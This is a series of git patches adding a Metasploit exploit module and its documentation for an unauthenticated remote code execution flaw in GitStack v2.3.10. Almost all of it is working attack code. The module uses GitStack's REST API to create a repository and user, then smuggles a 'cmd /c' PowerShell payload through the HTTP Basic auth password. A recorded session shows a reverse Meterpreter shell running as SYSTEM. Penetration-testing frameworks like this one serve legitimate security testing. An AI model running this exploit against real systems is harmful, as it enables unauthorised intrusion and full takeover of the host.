From a4f48eb80f0eaa341ccae212b7d5f7e332d3e36b Mon Sep 17 00:00:00 2001 From: Jacob Robles Date: Mon, 5 Mar 2018 13:25:41 -0600 Subject: [PATCH 1/8] Add GitStack v2.3.10 RCE --- .../exploit/windows/http/gitstack_rce.md | 61 ++++ modules/exploits/windows/http/gitstack_rce.rb | 303 ++++++++++++++++++ 2 files changed, 364 insertions(+) create mode 100644 documentation/modules/exploit/windows/http/gitstack_rce.md create mode 100644 modules/exploits/windows/http/gitstack_rce.rb diff --git a/documentation/modules/exploit/windows/http/gitstack_rce.md b/documentation/modules/exploit/windows/http/gitstack_rce.md new file mode 100644 index 0000000000..f4290a4bac --- /dev/null +++ b/documentation/modules/exploit/windows/http/gitstack_rce.md @@ -0,0 +1,61 @@ +## Description + +This module exploits an unauthenticated remote code execution vulnerability on GitStack v2.3.10. The module will send unauthenticated REST API requests to put the application in a vulnerable state, if needed, before sending a request to trigger the exploit. These configuration changes are undone before the module exits. + +## Vulnerable Application + +In vulnerable versions of GitStack, a flaw in `Authentication.class.php` allows [unauthenticated remote code execution](https://security.szurek.pl/gitstack-2310-unauthenticated-rce.html) since `$_SERVER['PHP_AUTH_PW']` is passed directly to an `exec` function. + +To exploit the vulnerability, the repository interface must be enabled, a repository must exist, and a user must have access to the repository. + +Note: A passwd file should be created by GitStack for local user accounts. Default location: `C:\GitStack\data\passwdfile`. + +## Verification Steps + +- [ ] Install a vulnerable GitStack application +- [ ] `./msfconsole` +- [ ] `use exploit/windows/http/gitstack_rce` +- [ ] `set rhost ` +- [ ] `set verbose true` +- [ ] `run` + +Note: You may have to run the exploit multiple times since the powershell that is generate has to be under a certain size. + +## Scenarios + +### GitStack v2.3.10 on Windows 7 SP1 + +``` +msf5 > use exploit/windows/http/gitstack_rce +msf5 exploit(windows/http/gitstack_rce) > set rhost 172.22.222.122 +rhost => 172.22.222.122 +msf5 exploit(windows/http/gitstack_rce) > set verbose true +verbose => true +msf5 exploit(windows/http/gitstack_rce) > run + +[*] Started reverse TCP handler on 172.22.222.131:4444 +[*] Powershell command length: 6103 +[-] Web interface is disabled +[-] No repositories found +[+] Web interface successfully enabled +[+] The repository has been successfully created +[+] Created user: ZROTE +[+] User ZROTE added to EsILm +[*] Sending stage (252483 bytes) to 172.22.222.122 +[+] ZROTE removed from EsILm +[+] ZROTE has been deleted +[+] Web interface successfully disabled +[+] EsILm has been deleted + +meterpreter > getuid +Server username: NT AUTHORITY\SYSTEM +meterpreter > sysinfo +Computer : WIN-V438RLMESAE +OS : Windows 7 (Build 7601, Service Pack 1). +Architecture : x64 +System Language : en_US +Domain : WORKGROUP +Logged On Users : 1 +Meterpreter : x86/windows +meterpreter > +``` diff --git a/modules/exploits/windows/http/gitstack_rce.rb b/modules/exploits/windows/http/gitstack_rce.rb new file mode 100644 index 0000000000..f2b79af8c2 --- /dev/null +++ b/modules/exploits/windows/http/gitstack_rce.rb @@ -0,0 +1,303 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = GreatRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::Powershell + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'GitStack v2.3.10 Unsanitized Argument', + 'Description' => %q{ + This module exploits a remote code execution vulnerability in + GitStack v2.3.10, caused by an unsanitized argument being passed + to an exec function call. Earlier version of GitStack may be + affected. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Kacper Szurek', # Vulnerability discovery and PoC + 'Jacob Robles' # Metasploit module + ], + 'DefaultOptions' => + { + 'EXITFUNC' => 'thread' + }, + 'Platform' => 'win', + 'Payload' => + { + 'BadChars' => "\x00" + }, + 'Targets' => [['Automatic', {}]], + 'Privileged' => true, + 'DisclosureDate' => 'Jan 15 2018', + 'DefaultTarget' => 0)) + register_options([Opt::RPORT(80)]) + end + + def check_web + begin + res = send_request_cgi({ + 'uri' => normalize_uri('/rest/settings/general/webinterface/'), + 'method' => 'GET' + }) + rescue Rex::ConnectionRefused, Rex::ConnectionTimeout, + Rex::HostUnreachable, Errno::ECONNRESET => e + print_error("Failed: #{e.class} - #{e.message}") + end + + if res && res.code == 200 + if res.body =~ /true/ + vprint_good('Web interface is enabled') + return true + else + vprint_error('Web interface is disabled') + return false + end + else + print_error('Unable to determine status of web interface') + return nil + end + end + + def check_repos + begin + res = send_request_cgi({ + 'uri' => '/rest/repository/', + 'method' => 'GET', + }) + rescue Rex::ConnectionRefused, Rex::ConnectionTimeout, + Rex::HostUnreachable, Errno::ECONNRESET => e + print_error("Failed: #{e.class} - #{e.message}") + end + if res && res.code == 200 + begin + mylist = JSON.parse(res.body) + rescue JSON::ParserError => e + print_error("Failed: #{e.class} - #{e.message}") + return nil + end + + unless mylist.length == 0 + vprint_good('Repositories found') + return mylist + else + vprint_error('No repositories found') + return false + end + else + print_error('Unable to determine available repositories') + return nil + end + end + + def update_web(web) + data = {'enabled' => web} + begin + res = send_request_cgi({ + 'uri' => '/rest/settings/general/webinterface/', + 'method' => 'PUT', + 'encode' => true, + 'data' => data.to_json + }) + rescue Rex::ConnectionRefused, Rex::ConnectionTimeout, + Rex::HostUnreachable, Errno::ECONNRESET => e + print_error("Failed: #{e.class} - #{e.message}") + end + if res && res.code == 200 + vprint_good("#{res.body}") + end + end + + def create_repo + repo = Rex::Text.rand_text_alpha(5) + c_token = Rex::Text.rand_text_alpha(5) + data = "name=#{repo}&csrfmiddlewaretoken=#{c_token}" + begin + res = send_request_cgi({ + 'uri' => '/rest/repository/', + 'method' => 'POST', + 'cookie' => "csrftoken=#{c_token}", + 'data' => data + }) + rescue Rex::ConnectionRefused, Rex::ConnectionTimeout, + Rex::HostUnreachable, Errno::ECONNRESET => e + print_error("Failed: #{e.class} - #{e.message}") + end + if res && res.code == 200 + vprint_good("#{res.body}") + return repo + else + print_status('Unable to create repository') + return nil + end + end + + def delete_repo(repo) + begin + res = send_request_cgi({ + 'uri' => "/rest/repository/#{repo}/", + 'method' => 'DELETE' + }) + rescue Rex::ConnectionRefused, Rex::ConnectionTimeout, + Rex::HostUnreachable, Errno::ECONNRESET => e + print_error("Failed: #{e.class} - #{e.message}") + end + + if res && res.code == 200 + vprint_good("#{res.body}") + else + print_status('Failed to delete repository') + end + end + + def create_user + user = Rex::Text.rand_text_alpha(5) + pass = user + data = "username=#{user}&password=#{pass}" + begin + res = send_request_cgi({ + 'uri' => '/rest/user/', + 'method' => 'POST', + 'encode' => true, + 'data' => data + }) + rescue Rex::ConnectionRefused, Rex::ConnectionTimeout, + Rex::HostUnreachable, Errno::ECONNRESET => e + print_error("Failed: #{e.class} - #{e.message}") + end + if res && res.code == 200 + vprint_good("Created user: #{user}") + return user + else + print_error("Failed to create user") + return nil + end + end + + def delete_user(user) + begin + res = send_request_cgi({ + 'uri' => "/rest/user/#{user}/", + 'method' => 'DELETE' + }) + rescue Rex::ConnectionRefused, Rex::ConnectionTimeout, + Rex::HostUnreachable, Errno::ECONNRESET => e + print_error("Failed: #{e.class} - #{e.message}") + end + if res && res.code == 200 + vprint_good("#{res.body}") + else + print_status('Delete user unsuccessful') + end + end + + def mod_user(repo, user, method) + begin + res = send_request_cgi({ + 'uri' => "/rest/repository/#{repo}/user/#{user}/", + 'method' => method + }) + rescue Rex::ConnectionRefused, Rex::ConnectionTimeout, + Rex::HostUnreachable, Errno::ECONNRESET => e + print_error("Failed: #{e.class} - #{e.message}") + end + if res && res.code == 200 + vprint_good("#{res.body}") + else + print_status('Unable to add/remove user from repo') + end + end + + def repo_users(repo) + begin + res = send_request_cgi({ + 'uri' => normalize_uri("/rest/repository/#{repo}/user/"), + 'method' => 'GET' + }) + rescue Rex::ConnectionRefused, Rex::ConnectionTimeout, + Rex::HostUnreachable, Errno::ECONNRESET => e + print_error("Failed: #{e.class} - #{e.message}") + end + if res && res.code == 200 + begin + users = JSON.parse(res.body) + users -= ['everyone'] + rescue JSON::ParserError => e + print_error("Failed: #{e.class} - #{e.message}") + users = nil + end + else + return nil + end + return users + end + + def run_exploit(repo, user, cmd) + begin + res = send_request_cgi({ + 'uri' => "/web/index.php?p=#{repo}.git&a=summary", + 'method' => 'GET', + 'authorization' => basic_auth(user, "#{Rex::Text.rand_text_alpha(1)} && cmd /c #{cmd}") + }) + rescue Rex::ConnectionRefused, Rex::ConnectionTimeout, + Rex::HostUnreachable, Errno::ECONNRESET => e + print_error("Failed: #{e.class} - #{e.message}") + end + end + + def exploit + command = cmd_psh_payload( + payload.encoded, + payload_instance.arch.first, + { :remove_comspec => true, :encode_final_payload => true } + ) + fail_with(Failure::PayloadFailed, "Payload is too big") if command.length > 6110 + + web = check_web + repos = check_repos + + if web.nil? || repos.nil? + return + end + + unless web + update_web(!web) + # Wait for interface + sleep 8 + end + + if repos + pwn_repo = repos[0]['name'] + else + pwn_repo = create_repo + end + + r_users = repo_users(pwn_repo) + unless r_users.nil? || r_users == [] + pwn_user = r_users[0] + run_exploit(pwn_repo, pwn_user, command) + else + pwn_user = create_user + if pwn_user + mod_user(pwn_repo, pwn_user, 'POST') + run_exploit(pwn_repo, pwn_user, command) + mod_user(pwn_repo, pwn_user, 'DELETE') + delete_user(pwn_user) + end + end + + unless web + update_web(web) + end + + unless repos + delete_repo(pwn_repo) + end + end +end From 57118e12652e9a79a8745fa4be401b8640f2b2a0 Mon Sep 17 00:00:00 2001 From: Jacob Robles Date: Mon, 5 Mar 2018 13:37:32 -0600 Subject: [PATCH 2/8] msftidy fix --- modules/exploits/windows/http/gitstack_rce.rb | 10 +++++++--- 1 file changed, 7 insertions(+), 3 deletions(-) diff --git a/modules/exploits/windows/http/gitstack_rce.rb b/modules/exploits/windows/http/gitstack_rce.rb index f2b79af8c2..65d766119c 100644 --- a/modules/exploits/windows/http/gitstack_rce.rb +++ b/modules/exploits/windows/http/gitstack_rce.rb @@ -241,9 +241,13 @@ class MetasploitModule < Msf::Exploit::Remote def run_exploit(repo, user, cmd) begin res = send_request_cgi({ - 'uri' => "/web/index.php?p=#{repo}.git&a=summary", - 'method' => 'GET', - 'authorization' => basic_auth(user, "#{Rex::Text.rand_text_alpha(1)} && cmd /c #{cmd}") + 'uri' => '/web/index.php', + 'method' => 'GET', + 'authorization' => basic_auth(user, "#{Rex::Text.rand_text_alpha(1)} && cmd /c #{cmd}"), + 'vars_get' => { + 'p' => "#{repo}.git", + 'a' => 'summary' + } }) rescue Rex::ConnectionRefused, Rex::ConnectionTimeout, Rex::HostUnreachable, Errno::ECONNRESET => e From 99799f1e9823997b14210c45ee1798464f62b903 Mon Sep 17 00:00:00 2001 From: Jacob Robles Date: Mon, 5 Mar 2018 13:40:37 -0600 Subject: [PATCH 3/8] Update doc --- documentation/modules/exploit/windows/http/gitstack_rce.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/documentation/modules/exploit/windows/http/gitstack_rce.md b/documentation/modules/exploit/windows/http/gitstack_rce.md index f4290a4bac..da0f9d4b14 100644 --- a/documentation/modules/exploit/windows/http/gitstack_rce.md +++ b/documentation/modules/exploit/windows/http/gitstack_rce.md @@ -6,7 +6,7 @@ This module exploits an unauthenticated remote code execution vulnerability on G In vulnerable versions of GitStack, a flaw in `Authentication.class.php` allows [unauthenticated remote code execution](https://security.szurek.pl/gitstack-2310-unauthenticated-rce.html) since `$_SERVER['PHP_AUTH_PW']` is passed directly to an `exec` function. -To exploit the vulnerability, the repository interface must be enabled, a repository must exist, and a user must have access to the repository. +To exploit the vulnerability, the repository web interface must be enabled, a repository must exist, and a user must have access to the repository. Note: A passwd file should be created by GitStack for local user accounts. Default location: `C:\GitStack\data\passwdfile`. From 4ace73a3f9b0b2d97892090a52d9149a03a34386 Mon Sep 17 00:00:00 2001 From: Jacob Robles Date: Mon, 5 Mar 2018 22:00:28 -0600 Subject: [PATCH 4/8] Added references, fixed code --- modules/exploits/windows/http/gitstack_rce.rb | 77 +++++++++---------- 1 file changed, 36 insertions(+), 41 deletions(-) diff --git a/modules/exploits/windows/http/gitstack_rce.rb b/modules/exploits/windows/http/gitstack_rce.rb index 65d766119c..9086b11367 100644 --- a/modules/exploits/windows/http/gitstack_rce.rb +++ b/modules/exploits/windows/http/gitstack_rce.rb @@ -24,15 +24,18 @@ class MetasploitModule < Msf::Exploit::Remote 'Kacper Szurek', # Vulnerability discovery and PoC 'Jacob Robles' # Metasploit module ], + 'References' => + [ + ['CVE', '2018-5955'], + ['EDB', '43777'], + ['EDB', '44044'], + ['URL', 'https://security.szurek.pl/gitstack-2310-unauthenticated-rce.html'] + ], 'DefaultOptions' => { 'EXITFUNC' => 'thread' }, 'Platform' => 'win', - 'Payload' => - { - 'BadChars' => "\x00" - }, 'Targets' => [['Automatic', {}]], 'Privileged' => true, 'DisclosureDate' => 'Jan 15 2018', @@ -43,11 +46,10 @@ class MetasploitModule < Msf::Exploit::Remote def check_web begin res = send_request_cgi({ - 'uri' => normalize_uri('/rest/settings/general/webinterface/'), + 'uri' => '/rest/settings/general/webinterface/', 'method' => 'GET' }) - rescue Rex::ConnectionRefused, Rex::ConnectionTimeout, - Rex::HostUnreachable, Errno::ECONNRESET => e + rescue Rex::ConnectionError, Errno::ECONNRESET => e print_error("Failed: #{e.class} - #{e.message}") end @@ -71,13 +73,12 @@ class MetasploitModule < Msf::Exploit::Remote 'uri' => '/rest/repository/', 'method' => 'GET', }) - rescue Rex::ConnectionRefused, Rex::ConnectionTimeout, - Rex::HostUnreachable, Errno::ECONNRESET => e + rescue Rex::ConnectionError, Errno::ECONNRESET => e print_error("Failed: #{e.class} - #{e.message}") end if res && res.code == 200 begin - mylist = JSON.parse(res.body) + mylist = res.get_json_document rescue JSON::ParserError => e print_error("Failed: #{e.class} - #{e.message}") return nil @@ -102,11 +103,9 @@ class MetasploitModule < Msf::Exploit::Remote res = send_request_cgi({ 'uri' => '/rest/settings/general/webinterface/', 'method' => 'PUT', - 'encode' => true, 'data' => data.to_json }) - rescue Rex::ConnectionRefused, Rex::ConnectionTimeout, - Rex::HostUnreachable, Errno::ECONNRESET => e + rescue Rex::ConnectionError, Errno::ECONNRESET => e print_error("Failed: #{e.class} - #{e.message}") end if res && res.code == 200 @@ -117,16 +116,17 @@ class MetasploitModule < Msf::Exploit::Remote def create_repo repo = Rex::Text.rand_text_alpha(5) c_token = Rex::Text.rand_text_alpha(5) - data = "name=#{repo}&csrfmiddlewaretoken=#{c_token}" begin res = send_request_cgi({ - 'uri' => '/rest/repository/', - 'method' => 'POST', - 'cookie' => "csrftoken=#{c_token}", - 'data' => data + 'uri' => '/rest/repository/', + 'method' => 'POST', + 'cookie' => "csrftoken=#{c_token}", + 'vars_post' => { + 'name' => repo, + 'csrfmiddlewaretoken' => c_token + } }) - rescue Rex::ConnectionRefused, Rex::ConnectionTimeout, - Rex::HostUnreachable, Errno::ECONNRESET => e + rescue Rex::ConnectionError, Errno::ECONNRESET => e print_error("Failed: #{e.class} - #{e.message}") end if res && res.code == 200 @@ -144,8 +144,7 @@ class MetasploitModule < Msf::Exploit::Remote 'uri' => "/rest/repository/#{repo}/", 'method' => 'DELETE' }) - rescue Rex::ConnectionRefused, Rex::ConnectionTimeout, - Rex::HostUnreachable, Errno::ECONNRESET => e + rescue Rex::ConnectionError, Errno::ECONNRESET => e print_error("Failed: #{e.class} - #{e.message}") end @@ -159,16 +158,16 @@ class MetasploitModule < Msf::Exploit::Remote def create_user user = Rex::Text.rand_text_alpha(5) pass = user - data = "username=#{user}&password=#{pass}" begin res = send_request_cgi({ - 'uri' => '/rest/user/', - 'method' => 'POST', - 'encode' => true, - 'data' => data + 'uri' => '/rest/user/', + 'method' => 'POST', + 'vars_post' => { + 'username' => user, + 'password' => pass + } }) - rescue Rex::ConnectionRefused, Rex::ConnectionTimeout, - Rex::HostUnreachable, Errno::ECONNRESET => e + rescue Rex::ConnectionError, Errno::ECONNRESET => e print_error("Failed: #{e.class} - #{e.message}") end if res && res.code == 200 @@ -186,8 +185,7 @@ class MetasploitModule < Msf::Exploit::Remote 'uri' => "/rest/user/#{user}/", 'method' => 'DELETE' }) - rescue Rex::ConnectionRefused, Rex::ConnectionTimeout, - Rex::HostUnreachable, Errno::ECONNRESET => e + rescue Rex::ConnectionError, Errno::ECONNRESET => e print_error("Failed: #{e.class} - #{e.message}") end if res && res.code == 200 @@ -203,8 +201,7 @@ class MetasploitModule < Msf::Exploit::Remote 'uri' => "/rest/repository/#{repo}/user/#{user}/", 'method' => method }) - rescue Rex::ConnectionRefused, Rex::ConnectionTimeout, - Rex::HostUnreachable, Errno::ECONNRESET => e + rescue Rex::ConnectionError, Errno::ECONNRESET => e print_error("Failed: #{e.class} - #{e.message}") end if res && res.code == 200 @@ -217,16 +214,15 @@ class MetasploitModule < Msf::Exploit::Remote def repo_users(repo) begin res = send_request_cgi({ - 'uri' => normalize_uri("/rest/repository/#{repo}/user/"), + 'uri' => "/rest/repository/#{repo}/user/", 'method' => 'GET' }) - rescue Rex::ConnectionRefused, Rex::ConnectionTimeout, - Rex::HostUnreachable, Errno::ECONNRESET => e + rescue Rex::ConnectionError, Errno::ECONNRESET => e print_error("Failed: #{e.class} - #{e.message}") end if res && res.code == 200 begin - users = JSON.parse(res.body) + users = res.get_json_document users -= ['everyone'] rescue JSON::ParserError => e print_error("Failed: #{e.class} - #{e.message}") @@ -249,8 +245,7 @@ class MetasploitModule < Msf::Exploit::Remote 'a' => 'summary' } }) - rescue Rex::ConnectionRefused, Rex::ConnectionTimeout, - Rex::HostUnreachable, Errno::ECONNRESET => e + rescue Rex::ConnectionError, Errno::ECONNRESET => e print_error("Failed: #{e.class} - #{e.message}") end end @@ -261,7 +256,7 @@ class MetasploitModule < Msf::Exploit::Remote payload_instance.arch.first, { :remove_comspec => true, :encode_final_payload => true } ) - fail_with(Failure::PayloadFailed, "Payload is too big") if command.length > 6110 + fail_with(Failure::PayloadFailed, "Payload exceeds space left in exec call") if command.length > 6110 web = check_web repos = check_repos @@ -283,7 +278,7 @@ class MetasploitModule < Msf::Exploit::Remote end r_users = repo_users(pwn_repo) - unless r_users.nil? || r_users == [] + unless r_users.nil? || r_users.empty? pwn_user = r_users[0] run_exploit(pwn_repo, pwn_user, command) else From 9ce6c2ae328d5f690bbbe56f910756323c2ee170 Mon Sep 17 00:00:00 2001 From: Jacob Robles Date: Wed, 7 Mar 2018 14:31:58 -0600 Subject: [PATCH 5/8] Remove redundant RPORT --- modules/exploits/windows/http/gitstack_rce.rb | 1 - 1 file changed, 1 deletion(-) diff --git a/modules/exploits/windows/http/gitstack_rce.rb b/modules/exploits/windows/http/gitstack_rce.rb index 9086b11367..5c87bf0ebe 100644 --- a/modules/exploits/windows/http/gitstack_rce.rb +++ b/modules/exploits/windows/http/gitstack_rce.rb @@ -40,7 +40,6 @@ class MetasploitModule < Msf::Exploit::Remote 'Privileged' => true, 'DisclosureDate' => 'Jan 15 2018', 'DefaultTarget' => 0)) - register_options([Opt::RPORT(80)]) end def check_web From 24079c345dde803b8b9df4bb6a4028fb29135b00 Mon Sep 17 00:00:00 2001 From: Jacob Robles Date: Thu, 8 Mar 2018 07:30:02 -0600 Subject: [PATCH 6/8] Style guide and grammar fixes --- .../modules/exploit/windows/http/gitstack_rce.md | 2 +- modules/exploits/windows/http/gitstack_rce.rb | 10 +++++----- 2 files changed, 6 insertions(+), 6 deletions(-) diff --git a/documentation/modules/exploit/windows/http/gitstack_rce.md b/documentation/modules/exploit/windows/http/gitstack_rce.md index da0f9d4b14..90355469c3 100644 --- a/documentation/modules/exploit/windows/http/gitstack_rce.md +++ b/documentation/modules/exploit/windows/http/gitstack_rce.md @@ -1,6 +1,6 @@ ## Description -This module exploits an unauthenticated remote code execution vulnerability on GitStack v2.3.10. The module will send unauthenticated REST API requests to put the application in a vulnerable state, if needed, before sending a request to trigger the exploit. These configuration changes are undone before the module exits. +This module exploits an unauthenticated remote code execution vulnerability in GitStack v2.3.10. The module will send unauthenticated REST API requests to put the application in a vulnerable state, if needed, before sending a request to trigger the exploit. These configuration changes are undone before the module exits. ## Vulnerable Application diff --git a/modules/exploits/windows/http/gitstack_rce.rb b/modules/exploits/windows/http/gitstack_rce.rb index 5c87bf0ebe..c4357de062 100644 --- a/modules/exploits/windows/http/gitstack_rce.rb +++ b/modules/exploits/windows/http/gitstack_rce.rb @@ -83,12 +83,12 @@ class MetasploitModule < Msf::Exploit::Remote return nil end - unless mylist.length == 0 - vprint_good('Repositories found') - return mylist - else + if mylist.length == 0 vprint_error('No repositories found') return false + else + vprint_good('Repositories found') + return mylist end else print_error('Unable to determine available repositories') @@ -277,7 +277,7 @@ class MetasploitModule < Msf::Exploit::Remote end r_users = repo_users(pwn_repo) - unless r_users.nil? || r_users.empty? + if r_users.present? pwn_user = r_users[0] run_exploit(pwn_repo, pwn_user, command) else From 2735ae57cbd616bdc63e16ddd725b2a30ea971a6 Mon Sep 17 00:00:00 2001 From: Jacob Robles Date: Fri, 9 Mar 2018 07:31:55 -0600 Subject: [PATCH 7/8] Documentation accuracy --- .../modules/exploit/windows/http/gitstack_rce.md | 2 +- modules/exploits/windows/http/gitstack_rce.rb | 10 +++++----- 2 files changed, 6 insertions(+), 6 deletions(-) diff --git a/documentation/modules/exploit/windows/http/gitstack_rce.md b/documentation/modules/exploit/windows/http/gitstack_rce.md index 90355469c3..11fe5ff70d 100644 --- a/documentation/modules/exploit/windows/http/gitstack_rce.md +++ b/documentation/modules/exploit/windows/http/gitstack_rce.md @@ -1,6 +1,6 @@ ## Description -This module exploits an unauthenticated remote code execution vulnerability in GitStack v2.3.10. The module will send unauthenticated REST API requests to put the application in a vulnerable state, if needed, before sending a request to trigger the exploit. These configuration changes are undone before the module exits. +An unauthenticated remote code execution vulnerability exists in GitStack through v2.3.10. This module exploits the vulnerability by sending unauthenticated REST API requests to put the application in a vulnerable state, if needed, before sending a request to trigger the exploit. These configuration changes are undone before the module exits. The module has been tested on GitStack v2.3.10. ## Vulnerable Application diff --git a/modules/exploits/windows/http/gitstack_rce.rb b/modules/exploits/windows/http/gitstack_rce.rb index c4357de062..05a0694020 100644 --- a/modules/exploits/windows/http/gitstack_rce.rb +++ b/modules/exploits/windows/http/gitstack_rce.rb @@ -11,12 +11,12 @@ class MetasploitModule < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - 'Name' => 'GitStack v2.3.10 Unsanitized Argument', + 'Name' => 'GitStack Unsanitized Argument RCE', 'Description' => %q{ - This module exploits a remote code execution vulnerability in - GitStack v2.3.10, caused by an unsanitized argument being passed - to an exec function call. Earlier version of GitStack may be - affected. + This module exploits a remote code execution vulnerability that + exists in GitStack through v2.3.10, caused by an unsanitized argument + being passed to an exec function call. This module has been tested + on GitStack v2.3.10. }, 'License' => MSF_LICENSE, 'Author' => From df49345f5da0e99d10c1958469c826708dc189ff Mon Sep 17 00:00:00 2001 From: Wei Chen Date: Tue, 27 Mar 2018 12:59:49 -0500 Subject: [PATCH 8/8] Update gitstack_rce.md --- .../exploit/windows/http/gitstack_rce.md | 27 ++++++++++++------- 1 file changed, 17 insertions(+), 10 deletions(-) diff --git a/documentation/modules/exploit/windows/http/gitstack_rce.md b/documentation/modules/exploit/windows/http/gitstack_rce.md index 11fe5ff70d..8e486bab88 100644 --- a/documentation/modules/exploit/windows/http/gitstack_rce.md +++ b/documentation/modules/exploit/windows/http/gitstack_rce.md @@ -1,25 +1,32 @@ ## Description -An unauthenticated remote code execution vulnerability exists in GitStack through v2.3.10. This module exploits the vulnerability by sending unauthenticated REST API requests to put the application in a vulnerable state, if needed, before sending a request to trigger the exploit. These configuration changes are undone before the module exits. The module has been tested on GitStack v2.3.10. +An unauthenticated remote code execution vulnerability exists in GitStack through v2.3.10. This +module exploits the vulnerability by sending unauthenticated REST API requests to put the +application in a vulnerable state, if needed, before sending a request to trigger the exploit. +These configuration changes are undone before the module exits. The module has been tested on +GitStack v2.3.10. ## Vulnerable Application In vulnerable versions of GitStack, a flaw in `Authentication.class.php` allows [unauthenticated remote code execution](https://security.szurek.pl/gitstack-2310-unauthenticated-rce.html) since `$_SERVER['PHP_AUTH_PW']` is passed directly to an `exec` function. -To exploit the vulnerability, the repository web interface must be enabled, a repository must exist, and a user must have access to the repository. +To exploit the vulnerability, the repository web interface must be enabled, a repository must +exist, and a user must have access to the repository. -Note: A passwd file should be created by GitStack for local user accounts. Default location: `C:\GitStack\data\passwdfile`. +Note: A passwd file should be created by GitStack for local user accounts. +Default location: `C:\GitStack\data\passwdfile`. ## Verification Steps -- [ ] Install a vulnerable GitStack application -- [ ] `./msfconsole` -- [ ] `use exploit/windows/http/gitstack_rce` -- [ ] `set rhost ` -- [ ] `set verbose true` -- [ ] `run` +* Install a vulnerable GitStack application +* `./msfconsole` +* `use exploit/windows/http/gitstack_rce` +* `set rhost ` +* `set verbose true` +8 `run` -Note: You may have to run the exploit multiple times since the powershell that is generate has to be under a certain size. +Note: You may have to run the exploit multiple times since the powershell that is generate has to +be under a certain size. ## Scenarios